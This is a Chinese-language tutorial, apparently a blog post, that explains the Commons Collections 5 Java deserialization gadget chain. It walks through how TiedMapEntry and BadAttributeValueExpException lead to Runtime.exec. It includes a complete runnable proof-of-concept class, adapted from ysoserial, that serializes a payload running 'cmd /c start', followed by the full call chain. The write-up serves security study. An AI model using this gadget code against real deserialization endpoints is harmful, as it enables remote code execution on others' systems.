環境準備
JDK1.8(8u421)我以本地的JDK8版本為準、commons-collections(3.x 4.x均可這裡使用3.2版本)
cc3.2:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
正文
CC1攻擊鏈:https://www.cnblogs.com/erosion2020/p/18553568
CC5是 CC1 的一個變種,CC1在JDK1.8之後對AnnotationInvocationHandler 進行了修復,使得攻擊鏈不能被正常利用,在CC5提到的攻擊鏈中使用了TiedMapEntry
以及BadAttributeValueExpException
來完成攻擊鏈的觸發。
讓我們來看一下為什麼透過這兩個類可以完成攻擊鏈的觸發。
TiedMapEntry
TiedMapEntry
是 Commons Collections
中的一個類,它主要用於將一個 Map
的鍵值對與其他物件繫結起來,形成一個 "繫結"(tied)關係。這個類的目的是允許 Map
條目(即鍵值對)與附加的物件(比如某些回撥函式或特殊處理物件)一起儲存。具體來說,TiedMapEntry
透過包裝 Map
的條目,並與目標物件一起儲存,來支援一些懶載入機制或觸發特定的操作。
CC5中的應用
在 CC5(Commons Collections 5) 的攻擊鏈中,TiedMapEntry
起到了關鍵的“橋樑”作用。攻擊者利用 TiedMapEntry
和 LazyMap
的結合來構建攻擊鏈。
LazyMap
的懶載入機制:LazyMap
被用來延遲載入物件,攻擊者透過將惡意程式碼與LazyMap
繫結,延遲執行某些操作。TiedMapEntry
在這裡負責將惡意的LazyMap
物件和其他需要的物件繫結在一起。TiedMapEntry
和LazyMap
配合:攻擊者可以將TiedMapEntry
與LazyMap
一起使用,透過訪問LazyMap
中的條目,來觸發懶載入的惡意程式碼。這個過程通常是在反序列化時自動發生的。- 觸發反序列化時的惡意操作:當反序列化包含
TiedMapEntry
的物件時,訪問TiedMapEntry
的getValue()
方法會觸發與之繫結的惡意操作,最終可能執行惡意程式碼。
關鍵程式碼分析
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getKey() {
return this.key;
}
// action1: 會執行到這個地方
// 最終要把Map變成一個LazyMap,那這樣的話就會觸發LazyMap的get方法,而LazyMap中的get方法則會觸發transformer方法
public Object getValue() {
return this.map.get(this.key);
}
// action0: 重點在這個方法中,他呼叫了getValue方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
BadAttributeValueExpException
BadAttributeValueExpException
是 javax.management
包中的一個類,通常用於描述與 Java Management Extensions (JMX) 相關的異常。該類的構造方法接受一個 Object
型別的引數 val
,代表異常的具體值。
在安全漏洞利用中,BadAttributeValueExpException
常被用作反序列化攻擊鏈的一部分。由於其 val
欄位是可訪問的,攻擊者可以透過將惡意物件(例如 TiedMapEntry
)賦值給該欄位,間接觸發惡意程式碼的執行。
CC5中的應用
在 CC5 攻擊鏈中,BadAttributeValueExpException
是觸發攻擊鏈的關鍵物件之一。攻擊者透過反序列化時將 TiedMapEntry
或其他惡意物件設定為 val
欄位的值,使得反序列化過程中觸發惡意的程式碼執行。
CC5 攻擊鏈的具體應用:
- 構造
BadAttributeValueExpException
:首先構造一個BadAttributeValueExpException
物件,並透過反射將惡意的TiedMapEntry
物件設定到val
欄位中。 - 觸發反序列化:在反序列化過程中,
BadAttributeValueExpException
的val
欄位會被訪問,而這個欄位繫結了一個TiedMapEntry
物件。此時,TiedMapEntry
的getValue()
方法被呼叫,從而觸發LazyMap
的懶載入操作。 - 執行惡意程式碼:
LazyMap
中的Transformer
鏈會被觸發,最終執行繫結的惡意操作(如執行命令、反向連線等)。
關鍵程式碼分析
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
// 要把val構造成一個TiedMapEntry,這樣在執行反序列化方法readObject時就會觸發TiedMapEntry.toString方法
// 然後TiedMapEntry.toString方法會執行TiedMapEntry.getValue方法,然後會執行到LazyMap.get(this.key)
// LazyMap.get方法中會呼叫Transformer.transformer方法,而這裡的Transformer就是我們精心構造的TransformerChained
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 重點是這個方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
構造POC
一樣,這裡還是直接把ysoserial的程式碼轉換成本地可以直接執行除錯的程式碼
public class CommonsCollections5 {
static String serialFileName = "commons-collections5.ser";
public static void main(String[] args) throws Exception {
cc5byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模擬反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cc5byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同於ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);寫法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先建立LazyMap,用來將transformerChain包裝成一個Map,當Map中的get方法被觸發時就能直接觸發到呼叫鏈
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
}
}
除錯
來彈個cmd
呼叫鏈
其實和CC1的呼叫鏈非常非常像,只是攻擊鏈的觸發點不一樣
- ObjectInputStream.readObject()
- BadAttributeValueExpException.readObject()
- TiedMapEntry.toString()
- TiedMapEntry.getValue()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- InvokerTransformer.transform()
- ConstantTransformer.transform()
- ChainedTransformer.transform()
- LazyMap.get()
- TiedMapEntry.getValue()
- TiedMapEntry.toString()
- BadAttributeValueExpException.readObject()